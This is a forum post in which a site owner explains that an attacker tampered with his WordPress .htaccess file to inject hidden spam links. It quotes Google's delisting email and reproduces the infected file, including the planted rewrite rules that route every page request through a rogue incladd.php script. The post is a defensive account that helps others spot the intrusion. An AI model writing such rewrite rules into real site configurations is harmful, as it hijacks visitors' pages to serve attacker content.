Hi all,
I discovered what the issue was. My .htaccess file had been compromised with some re-direction code which injected a large number of hidden links into my pages.
I only picked up on this as I recieved the following email from Google:
While we were indexing your webpages, we detected that some of your pages were using techniques that are outside our quality guidelines, which can be found here: https://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=en. This appears to be because your site has been modified by a third party. Typically, the offending party gains access to an insecure directory that has open permissions. Many times, they will upload files or modify existing ones, which then show up as spam in our index.
The following is some example hidden text we found at <WebSite URL inserted here>
between coke zero diet coke kosher passover coke in the coconut coke why is coke better than diet coke mentos video diet coke 2007 publishing a podcast on coke mentos girl codes from coke
In order to preserve the quality of our search engine, pages from techhead.co.uk are scheduled to be removed temporarily from our search results for at least 30 days.
We would prefer to keep your pages in Google’s index. If you wish to be reconsidered, please correct or remove all pages (may not be limited to the examples provided) that are outside our quality guidelines. One potential remedy is to contact your web host technical support for assistance. For more information about security for webmasters, see https://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html. When such changes have been made, please visit https://www.google.com/webmasters/tools/reconsideration?hl=en to learn more and submit your site for reconsideration.
I had checked my blog postings in the WordPress database using PHPAdmin though these links didn’t appear in the content (luckily) so I knew it had to be injected somewhere.
Anyway I rolled back to my .htaccess file from a week ago which was minus the rogue lines of redirection commands/syntax and all was well with the world again.
I am now going to go and find out the best way to ensure my WordPress install is locked down.
Here’s the content of my ‘violated’ .htaccess file:
Options +FollowSymLinks
RewriteEngine On
RewriteCond /home/sites/techhead.co.uk/public_html//_files/incladd.php -f
RewriteCond %{REQUEST_URI} !incladd.php$
RewriteCond %{REQUEST_URI} !166df7.php$
RewriteRule ^.*\.(php[s345]?|[ps]?html?).*$ /_files/incladd.php?file=%{SCRIPT_FILENAME}&%{QUERY_STRING} [NC,L]
# BEGIN WPSuperCache
<IfModule mod_rewrite.c>
RewriteBase /
AddDefaultCharset UTF-8
RewriteCond %{REQUEST_METHOD} !=POST
RewriteCond %{QUERY_STRING} !.*=.*
RewriteCond %{HTTP:Cookie} !^.*(comment_author_|wordpress|wp-postpass_).*$
RewriteCond %{HTTP:Accept-Encoding} gzip
RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html.gz -f
RewriteRule ^(.*) /wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html.gz [L]
RewriteCond %{REQUEST_METHOD} !=POST
RewriteCond %{QUERY_STRING} !.*=.*
RewriteCond %{HTTP:Cookie} !^.*(comment_author_|wordpress|wp-postpass_).*$
RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html -f
RewriteRule ^(.*) /wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html [L]
</IfModule>
# END WPSuperCache
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
Hope this helps someone else outthere.
Cheers,
Simon
